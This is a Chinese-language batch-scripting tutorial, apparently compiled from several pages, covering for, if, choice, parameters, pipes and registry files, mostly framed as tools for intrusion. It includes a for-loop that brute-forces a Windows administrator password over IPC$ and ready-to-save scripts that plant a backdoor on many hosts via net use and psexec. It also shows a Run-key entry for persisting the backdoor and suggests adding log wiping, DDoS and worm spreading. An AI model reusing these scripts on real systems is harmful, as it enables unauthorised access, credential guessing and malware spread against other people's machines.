從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive: }[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數：
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件，則條件成立，運行命令，否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I
如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符，則指定與目錄名匹配，而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
或者，如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前，每份文件都已被打開、讀取並經過處理。
處理包括讀取文件，將其分成一行行的文字，然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號，
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或
空格定界符號。請注意，這個 for 程序體的語句引用 %i 來
取得第二個符號，引用 %j 來取得第三個符號，引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名，您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號，您還需要使用 usebackq 選項，否則，雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明，%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號，只要不試圖說明一個高於字母 \'z\' 或
\'Z\' 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，
用單引號將括弧之間的 filenameset 括起來。這樣，該字元
串會被當作一個文件中的一個單一輸入行。
最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進
內存，並被當作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外，FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義，或者沒有找到文件，此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀，而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2：
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\\\ip\\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ，這樣就ko了。
sample3：
你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。
主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。
代碼雛形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數
批處理中可以使用參數，一般從1%到 9%這九個，當有多個參數時需要用shift來移動，這種情況並不多見，我們就不考慮它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤，所以用的時候需在dos窗口輸入fomat.bat a，呵呵,好像有點畫蛇添足了～^_^
sample2：
當我們要建立一個IPC$連接地時候總要輸入一大串命令，弄不好就打錯了，所以我們不如把一些固定命令寫入一個批處理，把肉雞地ip password username 當著參數來賦給這個批處理，這樣就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦，這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧？你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage：第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令，而不管命令是否執行成功
Sample：
C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage：第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令，當碰到執行出錯的命令後將不執行後面的命令，如果一直沒有出錯則一直執行完所有命令；
Sample：
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.
C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單，如：
dir file://192.168.0.1/database/backup.mdb && file://192.168.0.1/database/backup.mdb E:\\backup
如果遠程伺服器上存在backup.mdb文件，就執行命令，若不存在該文件則不執行命令。這種用法可以替換IF exist了 ：）
3.||
Usage：第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時執行多條命令，當碰到執行正確的命令後將不執行後面的命令，如果沒有出現正確的命令則一直執行完所有命令；
Sample：
C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子：
sample：
@ trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命令
Usage：第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用，記得在unix中這種方式很常見。
sample：
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explorer
看出來了么？用於終端服務允許我們為用戶自定義起始的程序，來實現讓用戶運行下面這個bat，以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於，>會清除調原有文件中的內容後寫入指定文件，而>>只會追加內容到指定文件中，而不會改動其中的內容。
sample1：
echo hello world>c:\\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行，我們知道system32是個捉迷藏的好地方，許多木馬都削尖了腦袋往那裡鑽，DLL馬也不例外，針對這一點我們可以在安裝好系統和必要的應用程序後，對該目錄下的EXE和DLL文件作一個記錄：
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好，如果有的話也不要直接DEL掉，先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站里，若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用，也就不多做介紹。
No.5
五.如何用批處理文件來操作注冊表
在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作，常見的是創建、修改、刪除。
1.創建
創建分為兩種，一種是創建子項(Subkey)
我們創建一個文件，內容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]
然後執行該腳本，你就已經在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下創建了一個名字為「hacker」的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是「String Value」
door的類型是「REG SZ Value」
Autodos的類型是「DWORD Value」
2.修改
修改相對來說比較簡單，只要把你需要修改的項目導出，然後用記事本進行修改，然後導入（regedit /s）即可。
3.刪除
我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-
執行該腳本，[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被刪除了；
Ⅷ 什麼叫批處理文件詳細、通俗的，。，我笨~~~~
後綴是bat的文件就是批處理文件，是一種文本文件。簡單的說，它的作用就是自動的連續執行多條命令，批處理文件的內容就是一條一條的命令。那它有什麼用呢？
比如，在啟動wps軟體時，每次都必須執行
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都這樣執行一次，您是不是覺得很麻煩呢？
如果有一個方法，只需編寫一個批處理文件，就會自動執行剛才的所有命令，您想不想學呢？
當您看完此節，自己編寫的第一個批處理文件順利執行時，您一定會大吃一驚的。
此外電腦每次啟動時都會尋找autoexec.bat這條批處理文件，從而可執行一些每次開機都要執行的命令，如設置路徑path、載入滑鼠驅動mouse、磁碟加速smartdrv等，可以使您的電腦真正自動化。
echo、@、call、pause、rem 是批處理文件最常用的幾個命令，我們就從他們開始學起。 echo 表示顯示此命令後的字元
echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@ 與echo off相象，但它是加在其它命令行的最前面，表示運行時不顯示命令行本身。
call 調用另一條批處理文件（如果直接調用別的批處理文件 ，執行完那條文件後將無法執行當前文件後續命令）
pause 運行此句會暫停，顯示Press any key to continue... 等待用戶按任意鍵後繼續
rem 表示此命令後的字元為解釋行，不執行，只是給自己今後查找用的
例：用edit編輯a.bat文件，輸入下列內容後存檔為c:\a.bat，執行該批處理文件後可實現：將根目錄中所有文件寫入 a.txt中，啟動UCDOS，進入WPS等功能。
批處理文件的內容為: 文件表示：
echo off 不顯示命令行
dir c:\*.* >a.txt 將c盤文件列表寫入a.txt
call c:\ucdos\ucdos.bat 調用ucdos
echo 你好 顯示"你好"
pause 暫停,等待按鍵繼續
rem 使用wps 注釋將使用wps
cd ucdos 進入ucdos目錄
wps 使用wps
批處理文件中還可以像C語言一樣使用參數，這只需用到一個參數表示符%。
%表示參數，參數是指在運行批處理文件時在文件名後加的字元串。變數可以從 %0到%9，%0表示文件名本身，字元串用%1到%9順序表示。
例如，C：根目錄下一批處理文件名為f.bat，內容為 format %1
則如果執行C:\>f a: 則實際執行的是format a:
又如C：根目錄下一批處理文件的名為t.bat，內容為 type %1 type %2
那麼運行C:\>t a.txt b.txt 將順序地顯示a.txt和b.txt文件的內容
if goto choice for 是批處理文件中比較高級的命令，如果這幾個你用得很熟練，你就是批處理文件的專家啦。
if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）
如if "%1"=="a" format a:
2、if exist 文件名 待執行的命令
如果有指定的文件，則條件成立，運行命令，否則運行下一句。如if exist config.sys edit config.sys
3、if errorlevel 數字 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼
goto 批處理文件運行到這里將跳到goto 所指定的標號處， 一般與if配合使用。 如:
goto end
:end
echo this is the end
標號用 :字元串 表示，標號所在行不被執行
choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
例如，test.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。
for 循環命令，只要條件符合，它將多次執行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要參數f在指定的集合內，則條件成立，執行命令
如果一條批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含義是如果是以bat或txt結尾的文件，則顯示文件的內容。
autoexec.bat
DOS在啟動會自動運行autoexec.bat這條文件，一般我們在裡面裝載每次必用的程序，如: path(設置路徑)、smartdrv(磁碟加速)、 mouse(滑鼠啟動)、mscdex(光碟機連接)、 doskey(鍵盤管理)、set(設置環境變數)等。
如果啟動盤根目錄中沒有這個文件，電腦會讓用戶輸入日期和時間。
例如，一個典型的autoexec.bat內容如下:
@echo off 不顯示命令行
prompt 設置提示符前有目錄提示
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools 設置路徑
lh c:\dos\doskey.com 載入鍵盤管理
lh c:\mouse\mouse.com 載入滑鼠管理
lh c:\dos\smartdrv.exe 載入磁碟加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V 載入CD-ROM驅動
set temp=c:\temp 設置臨時目錄
Ⅸ 批處理文件是什麼意思
批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高。我不想讓自己寫的教程枯燥無味，因為牽纏到代碼（批處理的內容算是代碼吧？）的問題本來就是枯燥的，很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力，感受它那古靈精怪的性格，不知不覺中愛上批處理（暈，怎麼又是愛？到底批處理和愛有什麼關系？答案：沒有！）。再說句「閑話」：要學好批處理，DOS基礎一定要牢！當然腦子靈活也是很重要的一方面